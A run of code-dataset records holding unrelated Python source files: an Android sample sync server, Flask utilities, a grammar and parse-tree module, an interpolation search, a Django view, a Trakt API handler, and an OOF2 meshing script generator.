Build an array of generic objects containing contact data,\n # using the Django built-in JSON parser\n logging.info('Uploaded contacts buffer: ' + contacts_buffer)\n json_list = simplejson.loads(contacts_buffer)\n logging.info('Client-side updates: ' + str(len(json_list)))\n\n # Keep track of the number of new contacts the client sent to us,\n # so that we can log it below.\n new_contact_count = 0\n\n for jcontact in json_list:\n new_contact = False\n id = self.safe_attr(jcontact, 'i')\n if (id != None):\n logging.info('Updating contact: ' + str(id))\n contact = datastore.Contact.get(db.Key.from_path('Contact', id))\n else:\n logging.info('Creating new contact record')\n new_contact = True\n contact = datastore.Contact(handle='temp')\n\n # If the 'change' for this contact is that they were deleted\n # on the client-side, all we want to do is set the deleted\n # flag here, and we're done.\n if (self.safe_attr(jcontact, 'd') == True):\n contact.deleted = True\n contact.put()\n logging.info('Deleted contact: ' + contact.handle)\n continue\n\n contact.firstname = self.safe_attr(jcontact, 'f')\n contact.lastname = self.safe_attr(jcontact, 'l')\n contact.phone_home = self.safe_attr(jcontact, 'h')\n contact.phone_office = self.safe_attr(jcontact, 'o')\n contact.phone_mobile = self.safe_attr(jcontact, 'm')\n contact.email = self.safe_attr(jcontact, 'e')\n contact.deleted = (self.safe_attr(jcontact, 'd') == 'true')\n if (new_contact):\n # New record - add them to db...\n new_contact_count = new_contact_count + 1\n contact.handle = contact.firstname + '_' + contact.lastname\n logging.info('Created new contact handle: ' + contact.handle)\n contact.put()\n logging.info('Saved contact: ' + contact.handle)\n\n # We don't save off the client_id value (thus we add it after\n # the \"put\"), but we want it to be in the JSON object we\n # serialize out, so that the client can match this contact\n # up with the client version.\n client_id = self.safe_attr(jcontact, 'c')\n\n # Create a high-water-mark for sync-state from the 'updated' time\n # for this contact, so we return the correct value to the client.\n high_water = str(long(_time.mktime(contact.updated.utctimetuple())) + 1)\n\n # Add new contacts to our updated_contacts, so that we return them\n # to the client (so the client gets the serverId for the\n # added contact)\n if (new_contact):\n UpdatedContactData(updated_contacts, contact.handle, client_id, base_url,\n high_water)\n\n logging.info('Client-side adds: ' + str(new_contact_count))\n\n def list_contains_contact(self, contact_list, contact):\n if (contact is None):\n return False\n contact_id = str(contact.key().id())\n for next in contact_list:\n if ((next != None) and (next['i'] == contact_id)):\n return True\n return False\n\n def safe_attr(self, obj, attr_name):\n if attr_name in obj:\n return obj[attr_name]\n return None\n\nclass ResetDatabase(BaseWebServiceHandler):\n \"\"\"\n Handles cron request to reset the contact database.\n\n We have a weekly cron task that resets the database back to a\n few contacts, so that it doesn't grow to an absurd size.\n \"\"\"\n\n def get(self):\n # Delete all the existing contacts from the database\n contacts = datastore.Contact.all()\n for contact in contacts:\n contact.delete()\n\n # Now create three sample contacts\n contact1 = datastore.Contact(handle = 'juliet',\n firstname = 'Juliet',\n lastname = 'Capulet',\n phone_mobile = '(650) 555-1000',\n phone_home = '(650) 555-1001',\n status = 'Wherefore art thou Romeo?')\n contact1.put()\n\n contact2 = datastore.Contact(handle = 'romeo',\n firstname = 'Romeo',\n lastname = 'Montague',\n phone_mobile = '(650) 555-2000',\n phone_home = '(650) 555-2001',\n status = 'I dream\\'d a dream to-night')\n contact2.put()\n\n contact3 = datastore.Contact(handle = 'tybalt',\n firstname = 'Tybalt',\n lastname = 'Capulet',\n phone_mobile = '(650) 555-3000',\n phone_home = '(650) 555-3001',\n status = 'Have at thee, coward')\n contact3.put()\n\n\n\n\ndef toJSON(object):\n \"\"\"Dumps the data represented by the object to JSON for wire transfer.\"\"\"\n return simplejson.dumps(object)\n\nclass UpdatedContactData(object):\n \"\"\"Holds data for user's contacts.\n\n This class knows how to serialize itself to JSON.\n \"\"\"\n __FIELD_MAP = {\n 'handle': 'u',\n 'firstname': 'f',\n 'lastname': 'l',\n 'status': 's',\n 'phone_home': 'h',\n 'phone_office': 'o',\n 'phone_mobile': 'm',\n 'email': 'e',\n 'client_id': 'c'\n }\n\n def __init__(self, contact_list, username, client_id, host_url, high_water_mark):\n obj = datastore.Contact.get_contact_info(username)\n contact = {}\n for obj_name, json_name in self.__FIELD_MAP.items():\n if hasattr(obj, obj_name):\n v = getattr(obj, obj_name)\n if (v != None):\n contact[json_name] = str(v)\n else:\n contact[json_name] = None\n contact['i'] = str(obj.key().id())\n contact['a'] = host_url + \"/avatar?id=\" + str(obj.key().id())\n contact['x'] = high_water_mark\n if (client_id != None):\n contact['c'] = str(client_id)\n contact_list.append(contact)\n\nclass DeletedContactData(object):\n def __init__(self, contact_list, username, high_water_mark):\n obj = datastore.Contact.get_contact_info(username)\n contact = {}\n contact['d'] = 'true'\n contact['i'] = str(obj.key().id())\n contact['x'] = high_water_mark\n contact_list.append(contact)\n\ndef main():\n application = webapp.WSGIApplication(\n [('/auth', Authenticate),\n ('/sync', SyncContacts),\n ('/reset_database', ResetDatabase),\n ],\n debug=True)\n wsgiref.handlers.CGIHandler().run(application)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"aosp-mirror/platform_development","sub_path":"samples/SampleSyncAdapter/samplesyncadapter_server/web_services.py","file_name":"web_services.py","file_ext":"py","file_size_in_byte":14658,"program_lang":"python","lang":"en","doc_type":"code","stars":2703,"dataset":"github-code","pt":"78"} +{"seq_id":"8013065439","text":"\"\"\"Various tools for Stray, such as:\n- JSON reading/writing\n- YAML reading/writing\n- Converting bytes to gigabytes\n- Getting the IP of a request\n- Converting unix timestamps to readable dates\n...\n\"\"\"\nfrom datetime import datetime\n\nimport json\nimport yaml\nimport flask\n\ndef add_ext(filename: str, extension: str='json') -> str:\n \"\"\"Appends the file extension the given file name if needed.\n\n Args:\n filename (str): File name. With or without extension.\n extension (str): File extension. With or without dot. Defaults to JSON\n\n Returns:\n str: Full file name.\n \"\"\"\n\n if not extension.startswith('.'):\n extension = f'.{extension}' \n\n if not filename.endswith(extension):\n filename += extension\n\n return 'stray/' + filename\n\ndef read_json(filename: str):\n \"\"\"Reads a JSON file and returns the loaded data.\n\n Args:\n name (str): The file to read (with or without .json)\n \"\"\"\n\n with open(add_ext(filename), 'r', encoding='utf8') as f:\n return json.load(f)\n\ndef write_json(filename: str, data) -> None:\n \"\"\"Writes data to a JSON file.\n\n Args:\n filename (str): The file to write to (with or without .json)\n data (_type_): The data to write to the file.\n \"\"\"\n\n with open(add_ext(filename), 'w', encoding='utf8') as f:\n json.dump(data, f, indent=4, sort_keys=False)\n\ndef b_to_gb(size: float) -> int:\n \"\"\"Converts bytes to gigabytes.\n\n Args:\n size (float): bytes\n\n Returns:\n int: gigabytes\n \"\"\"\n return size//1000000000\n\ndef ip(request: flask.Request) -> str: # PRIVACY NOTICE\n \"\"\"Gets the IP of a request.\"\"\"\n if not request.environ.get('HTTP_X_FORWARDED_FOR'):\n return request.environ['REMOTE_ADDR']\n return request.environ['HTTP_X_FORWARDED_FOR']\n\ndef yml(path: str, edit_to=None):\n \"\"\"Reads or writes a YAML file.\"\"\"\n path = f'{path}.yml'\n\n if not edit_to:\n try:\n with open(path, 'r', encoding='utf8') as f:\n return yaml.load(f.read(), Loader=yaml.SafeLoader)\n except Exception:\n with open(path, 'w', encoding='utf8') as f:\n f.write('{}')\n return {}\n\n with open(path, 'w', encoding='utf8') as f:\n yaml.dump(edit_to, f, sort_keys=False, default_flow_style=False, indent=4)\n\ndef unix_to_readable(unix):\n \"\"\"Converts a unix timestamp to a readable date.\"\"\"\n return datetime.utcfromtimestamp(float(unix)).strftime('%Y/%m/%d %H:%M')\n","repo_name":"nsde/stray","sub_path":"stray/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":2481,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"} +{"seq_id":"1798073297","text":"import random\n\nclass Tree:\n def __init__(self, category, children=None, word=None):\n self.cat = category\n self.word = word\n self.children = children\n\n if word == None:\n self.terminal = None\n\n def __str__(self):\n return self.NodeString(self, 0)\n\n def NodeString(self, node, indent):\n string = \"\"\n for i in range(indent):\n string += ' '\n\n string += '(' + str(node.cat)\n\n if isleaf(node):\n print (node.word)\n string += ' ' + node.word + ')'\n return string\n else:\n string += (\"\\n\")\n for child in node.children:\n string += self.NodeString(child, indent + 2)\n if child != node.children[-1]: string += \"\\n\"\n\n string += (')')\n return string\n\n\ndef isleaf(node):\n if node.word != None:\n return True\n else:\n return False\n\n\ndef isinterior(node):\n if node.children != None:\n return True\n else:\n return False\n\n\ndef parse_tree(string):\n parts = string.split()\n if parts[0][0] != \"(\":\n print(\"Error. First Character was not (\")\n\n pointer = { \"node\": 0 }\n return parse_subtree(parts, pointer)\n\ndef parse_subtree(parts, pointer):\n cat = parts[pointer[\"node\"]][1:]\n\n pointer[\"node\"] += 1\n if parts[pointer[\"node\"]][0] == \"(\":\n children = []\n while parts[pointer[\"node\"]][0] == \"(\":\n current = pointer[\"node\"]\n children.append(parse_subtree(parts, pointer))\n if pointer[\"node\"] == len(parts) - 1 or parts[current + 1][-2] == \")\": \n break\n else:\n pointer[\"node\"] += 1\n if pointer[\"node\"] >= len(parts): break\n\n return Tree(cat, children=children)\n else:\n word = parts[pointer[\"node\"]]\n word = word[:word.find(\")\")]\n return Tree(cat, word=word)\n\n\ndef terminal_string(tree):\n words = [] \n\n def find_words(node, words):\n if isleaf(node):\n words.append(node.word)\n else:\n for child in node.children:\n find_words(child, words)\n\n find_words(tree, words)\n\n return \" \".join(words)\n\n\nclass Index:\n def __init__(self):\n self.map = {}\n\n def __getitem__(self, key):\n if key in self.map:\n return self.map[key]\n else:\n return []\n\n def add(self, key, value):\n if key in self.map:\n self.map[key].append(value)\n else:\n self.map[key] = [value]\n\n\nclass Lexicon:\n def __init__(self, file_name):\n self.wrds = Index()\n self.prts = Index()\n\n file = open(file_name, \"r\")\n\n lines = file.readlines()\n\n for line in lines:\n secs = line.split()\n\n word = secs[0]\n\n for part in secs[1:]:\n self.prts.add(word, part)\n self.wrds.add(part, word)\n\n file.close()\n\n def parts(self, word):\n return self.prts[word]\n\n def words(self, part):\n return self.wrds[part]\n\n\nclass Rule:\n def __init__(self, lhs, rhs):\n self.lhs = lhs\n self.rhs = rhs\n\n def __repr__(self):\n return self.lhs + \" -> \" + \" \".join(self.rhs)\n\n\nclass Grammar:\n def __init__(self, file_name):\n self.file_name = file_name\n self.exps = Index()\n self.conts = Index()\n\n self.load()\n\n def load(self):\n self.lexicon = Lexicon(self.file_name + \".lex\")\n self.exps = Index()\n self.conts = Index()\n\n grammar = open(self.file_name + \".g\", \"r\")\n lines = grammar.readlines()\n\n for line in lines:\n parts = line.split()\n\n if parts[1] != \"->\":\n print(\"Error in read line\")\n exit()\n\n self.exps.add(parts[0][0], Rule(parts[0], parts[2:]))\n self.conts.add(parts[2][0], Rule(parts[0], parts[2:]))\n\n self.start = lines[0].split()[0]\n\n grammar.close()\n\n def expansions(self, part):\n return self.exps[part]\n\n def continuations(self, part):\n return self.conts[part]\n\n def isterm(self, part):\n return self.exps[part] == []\n\n def generate(self):\n def generate_from(cat):\n if self.isterm(cat):\n return Tree(cat, word=random.choice(self.lexicon.words(cat)))\n else: \n # rule = random.choice(self.expansions(cat))\n rule = self.expansions(cat)[0]\n children = []\n for part in rule.rhs:\n children.append(generate_from(part))\n return Tree(cat, children=children)\n\n return generate_from(self.start)\n\n# d = Tree(\"Det\", word=\"the\")\n# np = Tree(\"NP\", [d, Tree(\"N\", word=\"dog\")])\n# vp = Tree(\"VP\", [Tree(\"V\", word=\"barks\")])\n# s = Tree(\"S\", [np, vp, Tree(\"Adv\", word=\"loudly\")])\n\n# print(s)\n\n# x = parse_tree(\"(S\\n (NP\\n (Det the)\\n (N dog))\\n (VP\\n (V barks))\\n (Adv loudly))\")\n# print (x)\n\n# print(terminal_string(s))\n\n\n# idx = Index()\n# idx.add('foo', 10)\n# idx.add('bar', 12)\n# idx.add('foo', 20)\n\n# print(idx['foo'])\n# print(idx['bar'])\n# print(idx['hi'])\n\n# lex = Lexicon('g0.lex')\n# print(lex.parts('book'))\n# print(lex.words('N'))\n\n# r = Rule('S', ['NP', 'VP'])\n# print(r.lhs)\n# print(r.rhs)\n# print(r)\n\n# g = Grammar('g0')\n# print(g.lexicon.parts('book'))\n# print(g.lexicon.words('N'))\n\n# print(g.expansions(\"VP\"))\n# print(g.continuations(\"NP\"))\n\n# print(g.isterm(\"NP\"))\n# print(g.isterm(\"N\"))\n# print(g.isterm(\"V\"))\n\n# print(g.generate())\n\n# print(g.start)\n\n# print(g.expansions(\"S\")[0])\n# print(g.continuations(\"VP\")[0])","repo_name":"Shanery/Parser","sub_path":"data_structs.py","file_name":"data_structs.py","file_ext":"py","file_size_in_byte":5647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"4077619780","text":"import os\nimport os.path\n\nclass Trans:\n\n def __init__(self, def_lang=\"en\"):\n self.def_lang = def_lang\n\n def scan_langs(self, path=\"lang\"):\n fnames = [fname for fname in os.listdir(path) if fname.endswith(\".txt\")]\n langs = {}\n for fname in fnames:\n code = os.path.splitext(fname)[0]\n with open(os.path.join(path, fname), \"r\") as f:\n lang = {}\n key = f.readline().strip()\n while key:\n val = f.readline().strip()\n sep = f.readline()\n lang[key] = val\n key = f.readline().strip()\n langs[code] = lang\n self.langs = langs\n\n def get_underline(self, code):\n if code == self.def_lang:\n return lambda key: key\n else:\n return lambda key: self.langs[code].get(key, key)\n","repo_name":"lecram/waka","sub_path":"trans.py","file_name":"trans.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"13007658516","text":"\"\"\"\r\nInterpolation Search\r\nis the improvement of binary search,\r\nit works well in uniformly distributed array\r\n\r\npos = low + (((high - low) / arr[high] - arr[low]) * (target - arr[low]))\r\n\r\na. if target = arr[pos\r\n return pos\r\nb. if target > arr[pos\r\n low = pos + 1\r\n count pos\r\n check\r\nc. if target < arr[pos\r\n high = pos - 1\r\n count pos\r\n check\r\n\"\"\"\r\n\r\nimport math\r\n\r\ndef interpolationSearch(arr, arr_length, target):\r\n low = 0\r\n high = arr_length - 1\r\n\r\n while (low <= high and target >= arr[low] and target <= arr[high]):\r\n\r\n # Last comparison, if it doesn't match,\r\n # so the target is not in the array\r\n if (low == high):\r\n if (target == arr[low]):\r\n return low\r\n return -1\r\n \r\n # Count the probe position\r\n pos = math.floor(low + (((high - low) / (arr[high] - arr[low])) * (target - arr[low])))\r\n\r\n # If match\r\n if (target == arr[pos]):\r\n return pos\r\n\r\n # If target is higher, so look for the higher part\r\n elif (target > arr[pos]):\r\n low = pos + 1\r\n\r\n # If target is lower, so look for the lower part\r\n else:\r\n high = pos - 1\r\n \r\n return -1\r\n\r\ndef main():\r\n arr = [1, 3, 5, 8, 10, 12, 15]\r\n target = 12\r\n result = interpolationSearch(arr, len(arr), target)\r\n\r\n if (result == -1):\r\n print('Target is not found!')\r\n else:\r\n print('Target is found at index ' + str(result))\r\n\r\nmain()\r\n","repo_name":"marftabucks/algorithms","sub_path":"Interpolation Search.py","file_name":"Interpolation Search.py","file_ext":"py","file_size_in_byte":1513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"20946518261","text":"# TASK: Random Sentence Generator\n\"\"\"\n Description: In this exercise we will create a random sentence generator.\n We will do this by asking the user how long the sentence should be and then printing the generated sentence.\n\n Hint : The generated sentences do not have to make sense.\n\n Download this word list\n\n Save it in your development directory.\n\n Create a function called get_words_from_file.\n This function should read the file’s content and return the words as a collection.\n What is the correct data type to store the words?\n\n Create another function called get_random_sentence which takes a single parameter called length.\n The length parameter will be used to determine how many words the sentence should have.\n The function should:\n - use the words list to get your random words.\n - the amount of words should be the value of the length parameter.\n\n Take the random words and create a sentence (using a python method), the sentence should be lowercase.\n\n Create a function called main which will:\n Print a message explaining what the program does.\n\n Ask the user how long they want the sentence to be.\n Acceptable values are: an integer between 2 and 20.\n Validate your data and test your validation!\n If the user inputs incorrect data, print an error message and end the program.\n If the user inputs correct data, run your code.\n\"\"\"\nfrom random import choice\n\n\ndef get_words_from_file():\n \"\"\"\n This function should read the file’s content and return the words as a collection.\n What is the correct data type to store the words?\n \"\"\"\n with open(\"word_list.txt\", \"r\") as read_file:\n word_list = [line.replace(\"\\n\", \"\") for line in read_file.readlines()]\n return word_list\n\n\ndef get_random_sentence(length):\n \"\"\"\n Create another function called get_random_sentence which takes a single parameter called length.\n The length parameter will be used to determine how many words the sentence should have.\n The function should:\n - use the words list to get your random words.\n - the amount of words should be the value of the length parameter.\n \"\"\"\n strings = []\n words_list = get_words_from_file()\n\n for i in range(length):\n strings.append(choice(words_list))\n\n return \" \".join(strings).lower()\n\n\ndef ex1():\n print(\"in this program you can use a random sentence generator.\"\n \"You will do this by asking the user how long the sentence should be,\"\n \"and then the program will print the generated sentence\\n\")\n\n user_input = int(input(\"Enter the wanted sentence length (2-20 chars): \"))\n if 2 <= user_input <= 20:\n rnd_sentence = get_random_sentence(user_input)\n print(rnd_sentence, \"\\n\")\n else:\n try:\n raise ValueError\n except ValueError:\n print(\"The input must be between 2 to 20 characters, Good bye!\\n\")\n\n\n# TASK: Working with JSON\nimport json\nfrom datetime import datetime\n\n\ndef ex2():\n \"\"\"\n Instructions:\n\n import json\n sampleJson = '''{\n \"company\":{\n \"employee\":{\n \"name\":\"emma\",\n \"payable\":{\n \"salary\":7000,\n \"bonus\":800\n }\n }\n }\n }\n '''\n\n 1. Access the nested “salary” key from the JSON-string above.\n 2. Add a key called “birth_date” to the JSON-string at the same level as the “name” key.\n 3. Save the dictionary as JSON to a file.\n \"\"\"\n sampleJson = \"\"\"\n { \n \"company\":{ \n \"employee\":{ \n \"name\": \"emma\",\n \"payable\": { \n \"salary\": 7000,\n \"bonus\": 800\n }\n }\n }\n }\n \"\"\"\n sample_json = json.loads(sampleJson)\n salary = sample_json[\"company\"][\"employee\"][\"payable\"][\"salary\"]\n print(salary)\n\n sample_json[\"company\"][\"employee\"][\"birth_date\"] = \"10/10/1993\"\n print(sample_json)\n sampleJson = json.dumps(sample_json)\n\n with open(\"json_file.txt\", \"r+\") as write_file:\n write_file.write(sampleJson)\n\n\nif __name__ == '__main__':\n ex1()\n ex2()\n","repo_name":"EthanA120/DI_Bootcamp","sub_path":"Week10/Day4/XP.py","file_name":"XP.py","file_ext":"py","file_size_in_byte":4382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"3963886584","text":"from django.shortcuts import render\nfrom .models import Book\nfrom django.core.paginator import Paginator\n\n\n# Create your views here.\ndef book_list(request):\n book_object = Book.objects.all()\n book_name = request.GET.get('book_name')\n\n if (book_name != '' and book_name is not None):\n book_object = book_object.filter(name__icontains=book_name)\n\n paginator = Paginator(book_object, 10)\n page = request.GET.get('page')\n book_object = paginator.get_page(page)\n\n return render(request, 'books/book_list.html', {'book_object': book_object})\n\n\n","repo_name":"sureshcstha/Book-Lovers","sub_path":"mysite/books/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"13896138544","text":"import logging\nfrom utils import post_trakt_list_from_imdb_ids, get_trakt_list, get_trakt_item\n\ndef trakt_api_handler(request):\n\n headers = {\"Content-Type\": \"application/json\"}\n\n # Handling POST requests\n if request.method == 'POST':\n data = request.get_json(silent=True) # Get JSON body\n \n list_slug = data.get(\"name\")\n list_data = data.get(\"media_list\") # Extract media list from JSON body\n\n if not list_slug or not list_data:\n logging.warning(\"Missing 'name' or 'media_list' in request data.\")\n return ({\"error\": \"Missing 'name' or 'media_list' in request data.\"}, 400, headers)\n\n try:\n response = post_trakt_list_from_imdb_ids(list_slug, list_data)\n return (response, 200, headers)\n except Exception as e:\n logging.error(f\"Failed to post Trakt list: {e}\")\n return ({\"error\": str(e)}, 500, headers)\n\n # Handling GET requests\n elif request.method == 'GET':\n id = request.args.get(\"id\")\n if not id:\n logging.warning(\"Missing 'id'.\")\n return ({\"error\": \"Missing id.\"}, 400, headers)\n\n try:\n data = get_trakt_item(id)\n return (data, 200, headers)\n except Exception as e:\n logging.error(f\"Failed to get Trakt list: {e}\")\n return ({\"error\": str(e)}, 500, headers)\n\n else:\n return ({\"error\": \"Invalid HTTP method. Use either POST or GET.\"}, 400, headers)\n","repo_name":"bassettmason/trakt-interface-gcp","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"45402575312","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nClasses\n-------\n.. autosummary::\n :nosignatures:\n :toctree: classes/\n\n SkeletonGeometry\n QuadSkeletonGeometry\n TriSkeletonGeometry\n FixedDict\n OOF2\n\n\"\"\"\nimport os.path\nimport re\nfrom collections import namedtuple\nfrom abc import ABC, abstractmethod\n\nimport numpy as np\n\n\nclass SkeletonGeometry(ABC):\n\n @abstractmethod\n def __init__(self, leftright_periodicity, topbottom_periodicity):\n self.leftright_periodicity = leftright_periodicity\n self.topbottom_periodicity = topbottom_periodicity\n\n\nclass QuadSkeletonGeometry(SkeletonGeometry):\n\n def __init__(self, leftright_periodicity=False,\n topbottom_periodicity=False):\n super().__init__(leftright_periodicity, topbottom_periodicity)\n\n def __repr__(self):\n repr_OOF = \"QuadSkeleton(left_right_periodicity={1}, \" \\\n \"top_bottom_periodicity={2})\".format(self.leftright_periodicity,\n self.topbottom_periodicity)\n return repr_OOF\n\nclass TriSkeletonGeometry(SkeletonGeometry):\n\n def __init__(self, leftright_periodicity=False,\n topbottom_periodicity=False,\n arrangement=\"conservative\"):\n super().__init__(leftright_periodicity, topbottom_periodicity)\n self.arrangement = arrangement\n\n def __repr__(self):\n repr_OOF = \"TriSkeleton(arrangement='{0}', left_right_periodicity={1}, \" \\\n \"top_bottom_periodicity={2})\".format(self.arrangement,\n self.leftright_periodicity,\n self.topbottom_periodicity)\n return repr_OOF\n\n\nclass FixedDict:\n \"https://stackoverflow.com/a/14816446/4892892\"\n\n def __init__(self, dictionary):\n self._dictionary = dictionary\n\n def __setitem__(self, key, item):\n if key not in self._dictionary:\n raise KeyError(\"The key {} is not defined.\".format(key))\n self._dictionary[key] = item\n\n def __getitem__(self, key):\n return self._dictionary[key]\n\n def __repr__(self):\n return self._dictionary.__repr__()\n\n def __str__(self):\n return self._dictionary.__str__()\n\n\nnt = namedtuple(\"modules\", [\"image\", \"microstructure\", \"material\",\n \"pixelgroup\", \"skeleton\"])\nimage = FixedDict({\"name\": None, \"extension\": None, \"fullname\": None})\nmicrostructure = FixedDict({\"name\": None, \"pixelgroups\": None})\nmaterial = []\n# material = FixedDict({\"names\": [], \"pixelgroups\": []})\npixelgroup = {}\nskeleton = FixedDict({\"name\": None, \"geometry\": None})\n\nclass OOF2:\n script = []\n _modules = nt._make([image, microstructure, material, pixelgroup, skeleton])\n _state = FixedDict({\"image_read\": False, \"microstructure_created\": False,\n \"groups_created\": False, \"material_created\": False,\n \"pixelgroups_created\": False, \"skeleton_created\": False,\n \"script_saved\": False})\n\n def read_image(self, label_image):\n # TODO: check somehow if the input is a label image\n filename, extension = os.path.splitext(os.path.basename(label_image))\n self._modules.image[\"name\"] = filename\n self._modules.image[\"extension\"] = extension\n self._modules.image[\"fullname\"] = filename + extension\n self._state[\"image_read\"] = True\n\n def create_microstructure(self, name=None):\n \"\"\"Creates a microstructure from an image.\n\n Parameters\n ----------\n name : str, optional\n Path to the image on which the microstucture is created,\n file extension included. If not given, the microstructure is given\n the same name as the input image.\n\n Raises\n ------\n Exception\n DESCRIPTION.\n\n Returns\n -------\n None.\n\n \"\"\"\n if not self._state[\"image_read\"]:\n raise Exception(\"Load an image first with the `read_image` method.\")\n if name:\n if not isinstance(name, str):\n raise Exception(\"File name must be a string\")\n else:\n name = self._modules.image[\"name\"]\n self._modules.microstructure[\"name\"] = name\n self.script.append(\"OOF.Microstructure.Create_From_ImageFile\"\n \"(filename='{0}', microstructure_name='{1}', \"\n \"height=automatic, width=automatic)\"\n .format(self._modules.image[\"fullname\"],\n self._modules.microstructure[\"name\"]))\n self._state[\"microstructure_created\"] = True\n\n def pixel2group(self):\n self.script.append(\"OOF.Image.AutoGroup(image='{0}', name_template='%n')\"\n .format(self._modules.microstructure[\"name\"] + \":\" +\n self._modules.image[\"fullname\"]))\n self._state[\"groups_created\"] = True\n\n def save_microstructure(self, name=None):\n if not self._state[\"microstructure_created\"]:\n raise Exception(\"Create the mictrostructure first with the \"\n \"`create_microstructure` method.\")\n if name:\n if not isinstance(name, str):\n raise Exception(\"File name must be a string\")\n else:\n name = self._modules.microstructure[\"name\"] + '.txt'\n self.script.append(\"OOF.File.Save.Microstructure(filename='{0}', \"\n \"mode='w', format='script', microstructure='{1}')\"\n .format(name, self._modules.microstructure[\"name\"]))\n\n def load_pixelgroups(self, microstructure_file):\n \"\"\"\n\n Parameters\n ----------\n microstructure_file : str\n DESCRIPTION.\n\n Returns\n -------\n None.\n\n \"\"\"\n if self._state[\"pixelgroups_created\"]:\n raise Exception(\"Pixelgroups already created.\")\n # TODO: other option is to overwrite the existing pixel group.\n # However, in this case, all subsequent steps (e.g. materials2groups)\n # need to be cancelled.\n # Identify which pixel belongs to which category\n with open(microstructure_file, 'r') as microstructure:\n data = microstructure.readlines()\n category = []; group = []\n for line in data:\n if \"OOF.LoadData.Microstructure.DefineCategory.PixelGroups\" in line:\n m = re.match(\".+category=([\\w]+),\\sgroups=\\['([\\w]+)'\\]\", line)\n category.append(int(m.group(1)))\n group.append(int(m.group(2)))\n elif \"OOF.LoadData.Microstructure.Categories\" in line:\n m = re.match(r\".+categories=(.+)\\)\", line)\n nestedlist = eval(m.group(1))\n pixelcategory = np.array(nestedlist)\n # Obtain the pixel-group classification using the category-group relation\n pixelgroup = pixelcategory.copy()\n for i in range(len(category)):\n pixelgroup[pixelcategory == category[i]] = group[i]\n self._modules.microstructure[\"pixelgroups\"] = pixelgroup\n self._modules.pixelgroup.update(dict.fromkeys(group))\n self._state[\"pixelgroups_created\"] = True\n\n def save_pixelgroups(self, name=None):\n \"\"\"\n\n Parameters\n ----------\n name : str\n DESCRIPTION.\n\n Returns\n -------\n None.\n\n \"\"\"\n if name:\n if not isinstance(name, str):\n raise Exception(\"File name must be a string\")\n else:\n name = self._modules.image[\"name\"]\n np.save(name, self._modules.microstructure[\"pixelgroups\"])\n\n def create_material(self, name):\n \"\"\"\n\n Parameters\n ----------\n name : TYPE\n DESCRIPTION.\n\n Raises\n ------\n Exception\n DESCRIPTION.\n\n Returns\n -------\n None.\n\n \"\"\"\n if name in self._modules.material:\n raise Exception(\"Material `{0}` already exists. Give another name.\"\n .format(name))\n self._modules.material.append(name)\n self.script.append(\"OOF.Material.New(name='{0}', material_type='bulk')\"\n .format(name))\n self._state[\"material_created\"] = True\n\n def materials2groups(self, materials, groups=None):\n \"\"\"\n\n Parameters\n ----------\n materials : list of str\n DESCRIPTION.\n groups : list of int, optional\n DESCRIPTION. The default is None.\n\n Returns\n -------\n None.\n\n \"\"\"\n if groups:\n if len(materials) == len(groups):\n for mat, gr in zip(materials, groups):\n if mat in self._modules.material:\n self.script.append(\"OOF.Material.Assign(material='{0}', \"\n \"microstructure='{1}', pixels='{2}')\"\n .format(mat, self._modules.microstructure[\"name\"], gr))\n self._modules.pixelgroup[gr] = mat\n # self._modules.material[mat] = gr\n else:\n raise Exception(\"Material `{0}` does not exist.\".format(mat))\n else:\n raise Exception(\"The number of materials and the number of groups must agree.\")\n else:\n n_material = len(materials)\n if n_material == 1:\n mat = materials[0]\n if mat in self._modules.material:\n # Associate the material to all the pixel groups\n for gr in self._modules.pixelgroup:\n self.script.append(\"OOF.Material.Assign(material='{0}', \"\n \"microstructure='{1}', pixels='{2}')\"\n .format(mat, self._modules.microstructure[\"name\"], gr))\n self._modules.pixelgroup[gr] = mat\n else:\n raise Exception(\"Material `{0}` does not exists.\".format(mat))\n else: # must give groups to avoid ambiguity\n raise Exception(\"{0} number of groups expected.\".format(n_material))\n\n def create_skeleton(self, nelem_x, nelem_y, geometry, name=None):\n if not self._state[\"microstructure_created\"]:\n raise Exception(\"Create the mictrostructure first with the \"\n \"`create_microstructure` method.\")\n if name:\n if not isinstance(name, str):\n raise Exception(\"File name must be a string\")\n else:\n name = self._modules.image[\"name\"]\n self._modules.skeleton[\"name\"] = name\n self.script.append(\"OOF.Skeleton.New(name='{0}', microstructure='{1}', \"\n \"x_elements={2}, y_elements={3}, \"\n \"skeleton_geometry={4})\"\n .format(self._modules.skeleton[\"name\"],\n self._modules.microstructure[\"name\"],\n nelem_x, nelem_y, repr(geometry)))\n self._state[\"skeleton_created\"] = True\n\n def write_script(self, name=None):\n if name:\n if not isinstance(name, str):\n raise Exception(\"File name must be a string\")\n else:\n name = self._modules.image[\"name\"] + \".script\"\n with open(name, 'w') as script:\n script.writelines(\"\\n\".join(self.script))\n self._state[\"script_saved\"] = True\n\n def show(self):\n \"\"\"\n\n Returns\n -------\n None.\n\n \"\"\"\n print(\"\\n\".join(self.script))\n\n def __str__(self):\n \"\"\"Customizes how the object is printed.\n Displays basic information about the materials.\n For detailed information, use the `show` method.\n\n Returns\n -------\n str\n DESCRIPTION.\n\n \"\"\"\n # display = ''.join(display)\n # return display\n return \"\"\n","repo_name":"CsatiZoltan/CristalX","sub_path":"grains/meshing.py","file_name":"meshing.py","file_ext":"py","file_size_in_byte":12178,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"} +{"seq_id":"36216381329","text":"#!/usr/bin/env python\nfrom setuptools import find_packages, setup\n\n# Get the long description from the README file\nwith open(\"README.md\", \"r\") as 